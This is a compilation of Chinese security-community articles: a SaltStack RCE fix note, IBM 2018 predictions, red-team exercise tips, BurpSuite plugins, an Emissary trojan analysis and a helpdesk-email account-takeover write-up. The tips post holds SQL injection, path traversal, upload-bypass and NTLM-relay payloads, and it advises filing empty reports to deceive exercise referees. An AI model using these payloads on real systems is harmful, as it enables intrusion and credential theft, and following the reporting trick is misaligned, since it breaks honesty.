但自动加载的逻辑中未加载master的配置文件，但经过翻找，发现某个方法调用了master_config方法，master_config和minion_config一样，都调用了apply_sdb()方法，从而能够实现未授权RCE。
## **修复建议**
1. 尽快更新官方补丁。
2. 如果没有用到wheel_async模块，可以在salt/netapi/init.py中将其入口删除。
## **拓展链接**
CVE-2020-17490 CVE-2020-16846 详情请见：
[漏洞分析｜SaltStack未授权访问及命令执行漏洞分析（CVE-2020-16846/25592）](http://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247486196&idx=1&sn=f846c7e5b9894101812441092d5e5a97&chksm=fd7af672ca0d7f64ab00792129a1a65b36c2a14372b0868e226b1da150298d1ed961c7cbae09&scene=21#wechat_redirect)。
* * * | 社区文章 |
# IBM 2018年网络安全趋势预测
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文中我们将谈到的这些事件正在迫使各行业各种规模的企业重新思考如何保护企业内信息以及从过去的错误中吸取教训。此外，我们还将探讨网络安全和技术领域的发展以及新出现的威胁将如何影响2018年。
近日我们有幸采访了IBM
X-Force团队安全领域最优秀的研究人员，询问他们对2018年主要趋势的看法，从中我们得到一些独特的观点。下面让我们来看看IBM对2018年的五大安全预测。
## AI与AI的较量
在2018年，网络罪犯开始利用机器学习来欺骗人类，这意味着我们将会看到越来越多基于AI的攻击。对此，网络安全行业将需要调整自己的AI工具，以更好地应对这种新威胁。
同时，随着AI软件逐渐成为主流以及开源化，网络罪犯不仅可利用AI工具来自动化及加速其当前的攻击活动，还可利用AI工具更密切地模仿自然行为以实现社会工程和网络钓鱼目的。在AI工具加入后，我们会看到网络犯罪和安全创新之间的“猫捉老鼠游戏”迅速升级。
## 非洲将成为攻击者和目标的新领域
IBM X-Force
IRIS团队认为，随着非洲技术部署和运营的增加、经济的不断增长以及当地居民中威胁行为者数量激增，非洲最有可能成为新型有影响力网络事件发生的地区。在2018年，非洲将成为网络威胁新的重点领域：源自非洲的针对企业的攻击以及事件预计会上升。
## 身份危机
2017年被盗的20多亿条数据记录将被利用–前所未有的规模。我们可能很快会看到遏制利用被盗数据的立法，企业也将逐渐放弃使用社会安全号码（SSN）等标识符，转而使用SSN的替代方案，这包括：区块链身份识别解决方案、智能ID卡或者电子卡、生物识别技术或者这些方法的组合。企业将转向基于风险的身份验证和行为分析等更安全的做法。
## 勒索软件瞄准IoT设备
我们还会看到攻击者开始利用勒索软件瞄准物联网（IoT）设备，而此前勒索软件主要针对台式电脑。而由于诈骗者转向量贩，预计赎金会降低，并且赎金价格会低于用户购买新设备的价格。
另一方面，那些部署IoT安全摄像头、DVR和传感器的大型企业将受到即将到来的物联网勒索软件浪潮的最大影响。与最近医疗保健行业遭受勒索软件一样，网络罪犯将瞄准对运营产生不利影响的基础设施。
## 最终企业开始进行正确的响应
2018年，我们将会看到大型企业对大规模数据泄露或网络攻击采取快速和正确的响应，包括及时告知企业内外利益相关者有关攻击的影响。
在2018年5月GDPR实施后，在欧盟运营的企业将面临更严格的数据保护监管，他们必须在72小时内报告数据泄露事故（否则将面临最高4%年度营业额的巨额罚款），并可能需要通知客户。考虑到这些处罚，企业正开始越来越重视事件响应计划，我们希望这将会全面改善企业对数据泄露事故的处理。
## 2018年期待意想不到的事情
网络安全形势变化非常之快，在2018年我们很有可能看到更大的变化，而完全不在上述预测范围内。如果2017年表明网络罪犯开始行动的话，安全行业最好在假期抓紧时间休息，因为2018年可能是一场硬仗。让我们静静等待2018年的到来。 | 社区文章 |
小弟也第一次参加hw，经过5天hw，确实也学到了许多的东西，但就本次分享而言，我分享一些我认为在hw里面值得注意的东西以及一些小技巧
一.信息收集
信息收集这个多西当然都是老生常谈了，你收集的东西越多，能打的方向也就越多，当然,hw给你打的资源的格式一般为单位名称，系统名称，域名，IP地址。当然，其他的资源可能都大同小异。
网上都有很多信息收集的东西，都是那一套，扫端口，找子域名，看站有没有泄露什么东西，什么敏感文件，看网站的框架。现在，我就先给大家梳理一下。
信息收集的本质有2个，一是把现有的资源扩大，能给我们多一些渗透的方向。二是了解渗透目标，是我们的exp能够精准有效的打击。
如何把资源扩大？
比如给的目标:单位名称：xxx市学校，域名：www.abc.com ip：123.123.123.123（有的要给端口）
首先从单位名称入手,进入fofa或者其他搜收平台,title="xxx市学校"
然后是域名，域名建议用挖掘机或者subDomainsBrute.py
ip的话就是扫端口，外网建议用masscan，内网的话建议用nbtscan。
如何了解我们的渗透目标
推荐几款google的插件，第一款wappalyzer.
当然，这款插件也不一定检查的全，但是还是能检查出大部分的，有些框架你要进入网站的一些目录才会检查出来，例如进入后台登录界面，一些文章分类的界面。
当然还有一些小众的用法，就这一次，我们团队进了一个学校oa的后台，弱口令进的，但是那个后台没有上传，注入各类参数也没有测出来，然后在登陆界面上面写的是鹏达内网校园系统，但是进去就没有任何信息，然后就在网上找exp，没想到在cnvd上找到了注入，队友们真的好顶啊。
第二款shodan
这个可以探测端口，有些时候能探测出漏洞，就比如这次hw，我探测出来了心脏滴血，虽然最后没用用上
然后是扫目录和找后台的，扫目录的我推荐dirsearch.py和御剑，找后台的我推荐test404轻量级后台扫描器。
当然，以来我们可以先不扫，可以找一些敏感的文件后者后台，常见的敏感文件phpinfo,robots.txt.
phpinfo的话可以看看绝对路径，网上也有几篇讲了phpinfo可以getshell，但我遇到了很多phpinfo没有get到一个，不过有一次倒是遇到了phpstudy的后门，秒了一次。
robots.txt看的话也基本上是disallow，然后啥也没有了，但是还是看一看，万一有惊喜呢。
有一个网站可以在线探测，还挺不错的，<https://scan.top15.cn/web/infoleak>
但是其他功能就比较拉跨，哈哈哈哈。
后台的话可以手动先找一下，admin,login,manager,或者比如成都市阿鑫鑫鑫鑫哥哥公司，www.abc.com/axxxxgg/admin，这样先探测一下，再扫，效果会更好一点。
信息收集的话我们还是在每一个资源上都测一下域传输漏洞，如果真有，那岂不美滋滋？
二.目标选择
hw其实就只有这么几天时间，选择一个好的目标，我们能够在有限的时间内，更容易拿分。
优先选择学校>化工&&交通&&能源&&论坛&&各类企业>医院&&银行&&电信（运营商搭建的)
为什么这样选，因为高校的资源多,有OA系统，教务，学生平台，广播系统，新闻发布中心，乱七八糟的，都可以打，并且，高校的防御相对于没有那么森严，而且，也容易社工，比如xxx市职业学校，在qq上收一下什么xxxx市职业学校兼职群，xxxx市职业学校新生群，学号大把大把的有，其他的系统哪儿有那么容易。
然后再说说为什么把医院银行，电信这三个放最后，首先是医院，如果真的拿下一个his的内网权限，真的对这个医院，或者是这个地级市造成不可估量的损失。所以防护肯定是拉满的，第二，资源少啊，一个医院，除了域名，oa系统，基本上你找不到其他资源了，并且一些敏感的目录动不动就500，怎么玩？银行也同理，所以，我们要想拿下，真就看运维，或者手上的day。
中间的话，资源略少于学校，网站的防护也略低于医院银行。
三.拿shell（得分）
1.如果运气好，什么tp，joomla的框架，网上有exp，直接秒掉，这是最好的。
2.弱口令，永远的神，admin admin admin admin123 admin 123456
先打一波，然后在合理的爆破，先不说拿不拿的下，当我们那一个弱口令，就用50-100的分，并且有很多口子，都是弱口令进入后台，拿下shell的。
3.上传，上传成功就shell，还是很粗暴的，如果是黑名单，想办法绕，网上有很多思路的，白名单看是否存在解析，没有的话直接pass
4.各类未授权
什么redis,mongodb，扫了端口都先测一波，未授权的分虽然低，但是还是很多，不管是外网或者内网，特别是在内网打不动的时候，找一找未授权，形形色色的内网系统各类未授权的分真的相当于几台服务器了。
5.注入
注入的话现在越来越难利用了，因为注入曾经太猛了，mysql的话基本上是读读数据，读出数据进入后台拿下shell,mssql还好一些，运气好的话--os-shell直接cs上线，不支持堆叠注入的话吐司有一篇文章讲的就是不支持堆叠注入getshell。
6.xss，钓鱼
需要时间。
7.其他漏洞
xxe,ssrf,csrf等漏洞，真的遇到都算是不错了。
四.hw测试的地方和一些另类小技巧
1.对于java的框架真的要很敏感，常见的st2,jboss反序列化，shiro反序列化。
2.看站的时候可以用xray,真的有用，这次hw找了3个注入,给长亭打钱
3.当资源共享出来的时候，找到了什么弱口令，未授权，先交报告，然后在编辑，因为裁判要复现打一到，可能还要玩手机，所以不用担心交了报告马上就会审核，所以我们可以先交报告，站一个坑位，然后在编辑，因为当资源共享的时候，一个弱口令都是香饽饽，大家都会交，所以我们先交站坑位，如果裁判马上审，就是，哎哟，交快了，交了一个空报告，不好意思。
4.当资源没有共享的时候，报告经量交一个完整的，就是外网打点进入，打穿内网，直接把这个资源的分恰满，但是资源共享的时候还是找了一个交一个，除非很有自信，其他队找不到。
五.分享一些东西吧。
（1）sql注入和逻辑漏洞
1.注册账号的时候：账号admin空格空格空格空格空格空格 密码随意。登陆的时候会把空格解析掉，变成真正的admin。
2.如若只能上传图片的时候，可以把图片名修改，造成二次注入.
3.?x=1-if(user() like 'x%25',0,1)这条payload放入burpsuit,然后给x加入payload，大小写加上，处数据。
4.好好利用bp与sql注入，可以更改包的格式，get改为Post,然后在输入payload。
5.我们在用bp抓包是，我们可以将x-forward改为127.0.0.1,它可能对本地的包不过滤
6.比如一个页面存在sql注入，但是可能会被拦截，我们可以尝试在url里头构造admin,install,等白名单词汇来绕过
7.垃圾数据注入，如果是post型，就把垃圾数据放在需要注入的参数后面，如果是get型，就把他变成Post型，在放垃圾数据
8.在后台，我们的账号权限不够，可以修改密码，将refer和Post里的参数改为管理员的账号已引发逻辑漏洞
（2）信息收集篇
1.如若存在git文件，.git文件可以用来恢复源代码
2.ds_store可以用python的exp打
3..svn文件
4.如若扫到敏感文件，但是却没有权限访问，列如<http://localhost:8080/urltest/info/secret.jsp此页面>
1.<http://localhost:8080/urltest/./info/secret.jsp>
2.<http://localhost:8080/urltest/;xinxin/info/secret.jsp>
3.<http://localhost:8080/urltest/xinxin/../info/secret.jsp> //都可以尝试一下
5.如果存在swp文件，是vim的文件，我们可以用vim -r来恢复，说不定能看到一些yd的东西
（3）上传篇
1.如若不存在白名单限制，但就是上传不了，可以改为csproj这个后缀，再上传php，包含csproj即可
常见的假后缀，phtml
2.如若存在某种白名单限制，我们可以借助环境变量绕过，列如
无法上传dll文件,我们可以将dll的后缀改为php，然后用sql查询hex值
select
hex(load_file('F:/phpstudy/phpstudy/phpstudy_pro/Extensions/MySQL5.5.29/lib/plugin/1.php'));
然后再用php语法转化为dll二进制文件
<?php
echo file_put_contents('udf.dll',hex2bin("这里为sql查询出来的值"));
?>
3.基于Content-Type，除了常见的application/xml，application/json，multipart/form-data
还有就是application/vnd.php.serialized，将CT改为application/vnd.php.serialized
（4）其他
1.如果能上传swf，也可以根据swf构造xss的payload
2.可以利用xss拿ntml
python ntlmrelayx.py -tf targets.txt -c hostname > ~/smbrelay.txt
//target.txt是ip地址
<script src="\\\\\\\10.0.0.7\\\smbrelay"><br>
3.如用xss拿下cookie,但是登陆以后是静态的，我们就得想到同源策略，设置document.cookie来共享cookie.<br>
4.ssrf利用可以将ip转化为8进制。 //此外，八进制前面可以+0，可以加1-3个<br> 5.也可以将https:// 这2个//去掉<br>
6.重定向，<a
href="https://[email protected]">https://[email protected]</a>
//@可以变为#和？<br> 7.如若无法访问，可以尝试加上端口，加一个80<br>
8.平时用bp抓包，对cookie以及session这2个字段敏感一点，修改一下参数说不定可以造成任意用户浏览<br>
9.网页URL里头存在啥子action=,或者啥子单一的参数等于，可以搞啊一哈action=../../etc/passwd
可以用bp抓包，看到他的一些文件和路径<br>
10.如果用bp抓包，发现有command参数，我们可以试试cat+/etc/version看信息，根据版本来说</p> </script> | 社区文章 |
# 武装你的BurpSuite
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 前言
BurpSuite是广大安全人员使用率最高的一款工具了，通过对数据包的修改，重放往往能发现很多安全问题，而burp的插件能帮助我们进一步优化使用体验，更好的去发现漏洞。下面是经常用到的插件，这里给大家做一个分享。
## 0x02 信息收集插件
### 2.1 HAE
项目地址：<https://github.com/gh0stkey/HaE>
介绍：一款通过自定义正则的方式匹配响应报文或请求报文，提取获取敏感信息的插件
使用方式：导入插件，初始规则有很多，可以根据自身需求定制
### 2.2 Domain Hunter
项目地址：<https://github.com/bit4woo/domain_hunter_pro>
介绍：快捷的目标管理、自动化的信息收集工具，可以从流量中提取子域名，相关域名，邮箱，java包名。批量获取子域名相关信息，还有一些小工具。
使用方式：导入插件，添加新项目
添加根域，就可以开始使用了
里面还有很多小功能，可以自行尝试。
### 2.3 CaA
项目地址：<https://github.com/gh0stkey/CaA>
介绍：主要作用就是收集流经BurpSuite
Proxy模块中的HTTP流量，并从流量中提取一些有价值的信息，它可以帮助你记录这些信息并统计每个信息字段出现的频次，这些信息可以用于接口、参数、目录等相关的枚举工作
使用方式：导入插件，配置数据库。
自动启用，查询时注意需要输入完整域名，Param：参数表，file：文件表，Endpoint：末尾的接口表，FullPath：完整目录表，Path：一级目录表。
## 0x03 漏洞挖掘插件
### 3.1 fastjsonscan
项目地址：<https://github.com/zilong3033/fastjsonScan>
介绍：自动扫描fastjson漏洞的插件
### 3.2 shiroscan
项目地址：<https://github.com/pmiaowu/BurpShiroPassiveScan>
介绍：自动扫描shiro漏洞的插件
### 3.3 log4jscan
项目地址：<https://github.com/f0ng/log4j2burpscanner>
介绍：自动扫描log4j2漏洞的插件
### 3.4 jwt
项目地址：<https://github.com/ozzi-/JWT4B>
介绍：测试jwt相关漏洞，可以在官方插件库直接安装
### 3.5 APIKit
项目地址：<https://github.com/API-Security/APIKit>
介绍：可以主动/被动扫描发现应用泄露的API文档，并将API文档解析成BurpSuite中的数据包用于API安全测试
现阶段支持
GraphQL
OpenAPI-Swagger
SpringbootActuator
SOAP-WSDL
### 3.6 J2EEScan
项目地址： <https://github.com/ilmila/J2EEScan>
介绍： J2EE 应用程序漏洞扫描插件，可以在官方插件库直接安装
## 0x04 辅助插件
### 4.1 403bypass
项目地址：<https://github.com/sting8k/BurpSuite_403Bypasser>
介绍：用python编写的用来测试绕过403的插件，自动扫描
### 4.2 chunked-coding-converter
项目地址：<https://github.com/c0ny1/chunked-coding-converter>
介绍：主要用于分块传输绕WAF
### 4.3 hackbar
项目地址：<https://github.com/d3vilbug/HackBar>
介绍：和火狐插件hackbar类似，提供了一些payload，可以在官方插件库直接安装
## 0x05 后记
除了上面的插件，burp还有许多优秀的插件，都是师傅们在日常挖掘漏洞的经验总结，帮助我们更好的对目标进行测试，但漏洞挖掘终究还是以人为本，多多测试自然能看出哪些参数和路由会存在什么问题，继而去发现验证。 | 社区文章 |
# Emissary木马演变记录
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://researchcenter.paloaltonetworks.com/2016/02/emissary-trojan-changelog-did-operation-lotus-blossom-cause-it-to-evolve/>
译文仅供参考，具体内容表达以及含义原文为准。
2015年12月, Unit 42发表了一篇关于使用Emissary木马发动网络间谍攻击的博客。Emissary与Elise木马以及Operation
Lotus Blossom攻击活动相关,这促使我们开始收集Emissary其它的样本。
我们发现的最早的样本产生于2009年,意味着这个工具已经被使用了近7年。值得注意的是,这比我们发现最早的Elise样本还要早三年。此外,Emissary似乎只被用来针对台湾或香港的目标,他们使用的主题也与政府和军队有关。
我们也发现一些不同版本的Emissary有迭代变化,这能够显示出木马近年来是如何进化的。我们观察到他们开始使用被盗用但合法的域名来为恶意软件服务,C2基础设施也和Elise使用的有所不同。
针对目标
Emissary被用来攻击了多个东南亚国家和地区,我们收集到所有的Emissary样本使用的都是主要用于台湾和香港的繁体中文,我们已经确认的目标也位于这两个区域。尽管受限于有限的地理范围,但Emissary通过复制和粘贴网上看不到的新闻文章和文件来针对政府、高等教育和高科技公司。内容包括:
•一个Excel电子表格,其中包含台湾政府合法的联系方式,网上似乎没有。
•复制粘贴了一篇新闻文章,其中南京军区的副司令王洪光说中国大陆和台湾统一的可能性很低。
•复制了2010年的一篇新闻,人们抗议为了举办上海世博会强制迁移上海居民。
•台湾官方2016假期安排的副本,这也是台湾政府成立的第105周年。
发展求生存:TTP移位和基础设施
从我们第一次发布与Emissary有关的博客起,我们已经对Emissary的基础设施有了一些了解,我们发现只有一个专用的DDNS域从中国经销商处购买得来。相比之下,Elise样本使用的是actor-registered和DDNS的混合,actor-registered可以作为一个数据点约束所有的活动。
Emissary样本通常有三个写死的C2,它们是IP和域名的混合,其中一个域名或IP不被其他三个C2使用,可能是为了避免其失去控制。一个完整的IOC列表包含在这个报告的最后。
他们还使用被盗的合法台湾网站来为他们的恶意软件服务,其中包括民进党的官方网站。特别有趣的是,台湾1月16日才举行过受到密切关注的大选,民进党候选人蔡英文赢得选举。这是第一次有女性当选为台湾领导人,同时这也是国民党自1949年被驱逐出中国后,第二次失去领导权。蔡英文被广泛认为是一个支持台湾独立、不赞成与中华人民共和国统一的政治家。
恶意软件更新
我们的证据表明,恶意软件作者早在2009就创建了Emissary,actor们已经使用这个工具作为有效载荷进行了多年的网络间谍攻击。Emissary木马是一个有能力立足于目标系统的工具。虽然缺乏如屏幕捕获这种更高级的功能,它仍然能够完成大多数任务:漏出文件、下载并执行附加载荷、具有获得远程操作界面访问权的能力。actor似乎在不断使用这个木马,并发展出Emissary的几个更新版以保持它无法检测以及不过时。
我们对所有已知的Emissary的样本进行了分析,以确定在不同版本的木马之间,恶意软件作者做了哪些改动。通过我们的分析,
基于其编译时间我们研究了在每个样本的创建时间,并且做了一个简单的时间轴,在图2中显示了Emissary木马的发展历程。应该注意的是,我们知道一些不同配置的Emissary样本已被使用多次,所以时间轴只显示Emissary的开发活动时间,而不应该被误解为Emissary被用于攻击的时间。
图2中的时间轴显示,Emissary木马第一次被创建(1.0版)是在2009年5月,很快就得到了更新,这就是2009年6月的1.1版本。木马没有太多的形式改变,直到2011年9月作者发布了2.0版本。版本2.0在2013年10月进行了一次更新,其后恶意软件作者在2014年12月发布了3.0版本。恶意软件作者2015年3月发布了4.0版本,但是奇怪的是2015年6月26日其又创建一个示例3.0版本,版本递增的顺序有些混乱。2015年8月至11月期间,恶意软件作者又创建了几个新版本的Emissary,特别是5.0、5.1、5.3和5.4,与早期版本的开发过程相比更快也更连续。
图2: Emissary发展的时间线
基于明显的相似之处(原始3.0版本和其他早期版本的Emissary中没有看到),乱序的3.0版本似乎是5.0版本的一个早期的变体。与乱序3.0版本相关的代码是“3test”,
这意味着恶意软件作者是出于测试目的创建它的。另一个与乱序3.0版本相关的代码是“IC00001”,这可能表示攻击有效载荷,因为它似乎是一个描述运动的合理的代码。
虽然这可能是巧合,但乱序3.0版本是在我们发布Operation Lotus
Blossom博客十天后出现的。恶意软件作者可能受到了我们文章的启发,修改了恶意软件作为对我们的研究的回应。不管因果关系如何,
Emissary新版本的迅速发展表明,恶意软件作者正在频繁修改以逃避检测,这也表明actor正在积极使用Emissary木马作为攻击中的有效载荷。
由于文章篇幅有限,大家可以点击原文链接查看Emissary版本历史,其中对各版本有详细描述。
结论
这些使用Emissary的actor同时也是Operation Lotus Blossom的背后操作者,
已经在东南亚活跃了至少7年。他们是执着的,一直随着时间而发展,有足够的资源,也有多个定制的RAT以获得定期更新。他们的目标在很大程度上是军方或政府,某些情况下也会针对高等教育和高科技公司。他们也有能力用多种亚洲语言选择和使用合适的诱饵,让它们合法地出现。
Emissary似乎是针对台湾和香港使用的,它使用普通恶意软件更新以避免检测,并增加成功几率。一系列Emissary的更新时间与我们的报告之间也有一个有趣的巧合。第一次是在我们发布博客十天后,随后的更新在越来越短的时间间隔内被发布,约为每三个月一次,一直发展到目前发现的最终版本。而在我们发布文章之前,Emissary大约每两年更新一次。这表明actor可能注意到了我们的报告,并且完全有能力在必要时立即进行变化。
除了恶意软件进化,actor也从带附件鱼叉式网络钓鱼转向用妥协的合法网站托管恶意软件。木马的不断的更新和TTP的转变表明Emissary在未来将继续被用来进行间谍攻击。
我们已经为帕洛阿尔托网络更新了Emissary的标签,引导用户对博客中讨论的这一威胁进行了解。 | 社区文章 |
# 【技术分享】看我如何利用企业邮箱搞定上百企业内网或内部账号
|
##### 译文声明
本文是翻译文章，文章来源：freecodecamp.org
原文地址：<https://medium.freecodecamp.org/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
几个月以前，我发现了一个漏洞，黑客们利用这个漏洞可以获取企业的内部通信数据。漏洞利用起来非常简单，只需要几次点击就有可能访问企业的内部网络、社交媒体账号，比如Twitter以及更为常见的Yammer以及Slack协同账户。
漏洞目前仍然没被修复，因为这种漏洞很难在第一时间修复。在过去的几个月中，我联系了数十家公司以及受影响的厂商，参与这些公司及厂商的漏洞奖励计划以促使他们修复相关漏洞。由于受影响企业数量较多，我无法一一联系上。根据一些黑客小伙伴们的建议，在相关厂商的许可下，我撰写并发布了这篇文章，以便让受影响的每个单位能立即修复这个漏洞。我将这个漏洞称之为Ticket
Trick。
**二、拦路门：需使用企业邮箱注册**
****
如Slack、Yammer以及Facebook
Wrokpace之类的商业协同交流平台要求员工使用他们的企业（@company）邮箱来注册平台账户。员工的企业邮箱会收到一封包含确认链接的邮件，一旦员工点击这个链接，他们就可以成为公司的一份子，进行内部交流。
在Slack中，使用相同@company邮箱的用户可以默认加入同一个团队，我们可以将其改为SSO（单点登录）机制或者邀请机制。
在Yammer中，只要拥有@company邮箱，任何人都可以加入。
在Facebook Workpace中，只要拥有@company邮箱，任何人都可以加入。
**三、敲门砖：服务台（helpdesk）或使用邮件创建（create-by-email）功能**
****
**3.1 方法1：问题追踪功能（THE ISSUE TRACKER）**
事情最早可以从GitLab开始说起，对于Slack而言，我发现只要使用有效的@gitlab.com邮箱，就能加入GitLab官方团队中。
与此同时，GitLab提供了一个功能，可以通过电子邮件来创建issue，只要将具体的issue发送到某个@gitlab.com邮箱地址即可。如下图所示，出于隐私原因，我隐去了这个地址。
还有其他企业提供了通过邮件来创建、跟踪issue的功能，GitLab只是其中一员而已。
我尝试利用这个邮箱地址来加入GitLab在Slack上的团队，想看看能不能成功。
我马上刷新了我的问题清单，然后发现确认邮件已作为某个issue添加到我的项目中：
刚添加进来的这个issue中包含一个神奇链接，通过这个链接我们可以加入GitLab的内部Slack团队：
我点击了这个链接，结果与我设想的一样。我收到了一堆欢迎加入的信息（如下图所示），然后我马上删除了我的账号，并向GitLab反馈了这个问题。
GitLab在在同一天晚上回复了我提交的报告。
他们马上就把Slack设置为邀请模式，并向他们的客户通告了这个功能的危险性。
**3.2 方法2：支持台（THE SUPPORT DESK）**
只有上百个网站拥有开放的issue跟踪功能，所以我想再深入分析一下，看能不能挖掘出一个更加通用的漏洞利用方法。事实上我的确找到了这样一种利用方法，并且这种利用方法比我预想的还要通用，那就是客户服务（customer
service）。
发往[email protected]的邮件有时候会出现在某个在线支持门户平台中，比如Zendesk、Kayako、（Fresh）Desk、WHMCS或者某个定制工具中。因此我决定研究一下这个方面，看黑客能否从数据库里提取出关键链接。
这些门户中，大多数都可以集成单点登录（SSO）功能：经过认证的用户可以自动登录到服务台，以确保用户的无缝体验。在我测试的网站中，超过一半网站不需要验证电子邮件，这意味着任何人都可以使用任何电子邮件地址来注册并阅读由该邮件地址所创建的任何支持票据（support
ticket）。在线视频分享平台Vimeo正是不需要进行验证的公司之一。
所以我注册了一个Vimeo账户，所用邮箱为[email protected]，这个邮箱正是Slack用来发送验证链接的那个邮箱。
Slack有个非常方便的“[查找工作区（find your
workspace）](https://slack.com/signin/find)”的功能，利用这个功能，我找到了Vimeo对应的那个实例，然后使用[email protected]这个地址完成了注册。
在后台处理逻辑中，[email protected]会往[email protected]这个地址发送一封邮件，其中包含验证链接。
当[email protected]收到这封邮件后，该邮件会被归类为由[email protected]所创建的支持票据，而后者正是我用来注册的那个邮箱。
因此，我前往帮助中心，检查我收到的支持票据。
我的确收到了一个支持票据，其中包含一个验证链接，通过这个链接我可以加入Vimeo团队。
Vimeo团队马上响应了我提交的漏洞报告，并根据他们的漏洞奖励计划给我发放了2,000美元的奖励（[#220102](https://hackerone.com/reports/220102)，细节待公布）。
**集成了支持门户工具又缺少邮箱验证机制的所有网站都会受到此漏洞影响，并且形势比想象中的更加严峻。**
我在Kayako以及Zendesk中找到了两个额外的漏洞，在常见设置下，我们可以利用这两个漏洞绕过邮件验证过程。这样一来，即使目标没有启用SSO功能并且启用了邮件验证机制，我们也总是能够成功完成攻击。在6月1日，我向这两个厂商的漏洞响应计划提交了问题报告，相应的修复技术正在研发中。
除此之外，如果网站在用户注册时需要验证邮箱地址，然而在修改邮箱地址时却不需要验证，这种网站也会受漏洞影响。
**四、影响范围进一步扩大**
****
如果某个企业没有使用Slack，并认为这样已足够安全，那么他们可能想错了，因为我发现的这个问题影响范围非常广。比如，诸如Yammer之类的其他一些商业通讯工具也受这种攻击影响：
如上图所示，我成功加入了某家公司的Yammer内网中。
此外，由于我们可以读取发往support@的邮件，我们也可以看到发往该地址的任何密码重置链接。事实证明，不少公司会使用这个邮件地址来注册诸如Twitter的第三方服务以及社交媒体。
这意味着攻击者也可以劫持与support@邮箱相关联的任何账户：
某些情况下，这个邮箱也会在目标公司的网站上关联一个特权账户。注册[email protected]后，你可以拦截[email protected]的密码重置令牌，获得特权账户的访问权限，最终可以访问所有客户的隐私信息。
如果这些方法都行不通，攻击者仍然可以读取并回复由该邮箱创建的那些支持票据（不管是之前的还是之后的）。我的一个朋友曾经因为某些问题往某个公司的帮助支持邮箱写过一封信。经过分析后，我发现这个公司的确存在漏洞，所以我使用朋友的邮箱完成注册，点击“my
support
cases”之后，我果然找到他之前发送的那封邮件。只要人们在服务台上没有对应的账户，我就可以读取并回复人们发往客户服务的所有邮件。用户认为与他们交谈的是客户服务人员，实际上躲在背后的却是一名黑客。
**五、厂商及企业的回复**
****
研究每个企业对这个漏洞的处理方式本身就是一件非常有趣的事情：
1、大多数企业能够以非常专业的方式来处理我提交的报告。某些企业甚至决定给我发放高达[8,000美元](https://twitter.com/securinti/status/868455423300554753)的漏洞奖励。个别时候我会得到负面响应，甚至某些企业会选择完全忽略我的报告。
2、在问题追踪功能方面，GitLab（[#21823](https://hackerone.com/reports/218230)，已披露）
很快做出了响应，他们取消对公司域名的信任，同时修改了他们的Slack设置。此外，他们也更新了[说明文档](https://docs.gitlab.com/ee/administration/reply_by_email.html#security-concerns)，以免客户犯下同样的错误。
3、我向Slack报告了这个问题（[#23923](https://hackerone.com/reports/239623)，待披露），想看看我们能否在高层逻辑上阻止这个漏洞。虽然对这个问题他们不承担直接责任，但该问题的确会给很多客户造成影响。
Slack对此非常重视，他们修改了no-reply邮箱，在其中添加了一段随机令牌（如下图所示），这样能够有效地阻止黑客对服务台软件的攻击。虽然问题跟踪功能以及其他邮箱集成功能仍然存在问题，然而这些问题已经与Slack本身无关。Slack为此给我发放了1,500美元的奖励。
4、我也跟Yammer联系过。最开始我没有得到任何回应，两周以后，我又发了一封邮件，这次他们回复我说他们已经将邮件转发给了Yammer的安全团队，顺便告诉我他们对安全漏洞的定义。到目前为止，他们没有像Slack那样采取积极措施，在更高层面解决这一问题。
因此，黑客仍然可以利用我发现的这些方法加入Yammer工作组中。
5、我向[Kayako](https://firebounty.com/bug-bounty-program/169/kayako)以及[Zendesk](http://hackerone.com/zendesk)（[#235139](https://hackerone.com/reports/235139)，已披露）的漏洞奖励计划提交了SSO绕过漏洞。两者都解决了这个问题，并分别向我发放了1,000美元以及750美元的奖励。
**六、经验教训**
****
1、一旦突入企业内部，企业的安全性就会大大降低。利用团队中所有人都可以访问的那些资源，攻击者可以获取员工贴在上面的密码、企业秘密以及客户信息等隐私信息。
2、我们必须持续在每个地方寻找安全隐患。这个问题已经在上百个网站中存在多年，并且许多安全专家每天都会面对这些网站，然而据我所知，目前并没有其他人发现这个问题。
3、大型企业难以掌握员工动向。我与某个大型支付企业的CISO讨论过这个问题，他向我保证说，他们企业肯定不存在这个问题，因为他们的员工不应该通过Slack来交流。他们有用来处理这些事务的内部网络。我加入了该企业全球范围内332名员工所创建的Slack频道，证明了他的错误观点。最后我得到了5,000美元的奖励。
4、如果你想知道你可以使用自己的公司邮箱加入哪些Slack团队，你可以试一下Slack的“[查找团队](https://slack.com/signin/find)”功能。
**七、FAQ**
****
**1、如何知道自己公司是否受到影响？**
如果支持票据可以通过电子邮件来创建，并且未经验证邮件地址的用户可以访问支持票据，那么目标就会受到该漏洞影响。此外，如果公共问题追踪及响应功能使用特有的@company.com邮箱来将信息直接提交给某个票据、论坛帖子、私人消息或者用户账户，那么也会收此漏洞影响。
**2、企业存在漏洞后如何修复？**
目前我知道有几种方法可以解决这一问题。类似AriBnb、LinkedIn以及GitHub之类的公司会使用不同域名的邮箱地址，比如@reply.linkedin.com或者@mail.github.com。这些邮箱无法用来注册类似Yammer或Slack之类的服务。GitLab根据此建议更新了他们的[说明文档](https://docs.gitlab.com/ee/administration/reply_by_email.html#security-concerns)，以防止在问题追踪功能中存在这类漏洞。
某些公司选择禁用电子邮件功能、服务门户站点或者单点登录功能，其他公司使用了正确的邮箱验证机制。此外，我不建议公司使用官方的support@邮箱来注册Twitter、Slack或者Zendesk之类的服务。
**3、作为受影响的厂商，我如何阻止这类漏洞？**
对于使用客户服务邮箱注册的那些用户，你可以采用额外的安全措施，然而在许多情况下，这种方法并不实用也不高效。Facebook
Workplace使用了更加巧妙的方法，他们利用随机生成的邮件地址来发送邮件，比如
**[email protected]**
，攻击者无法猜中这类地址。在回复我的邮件中，Slack表示他们会采用这种随机化邮件地址。
**4、目前还有上百个企业受到影响，你为什么公布这个漏洞？**
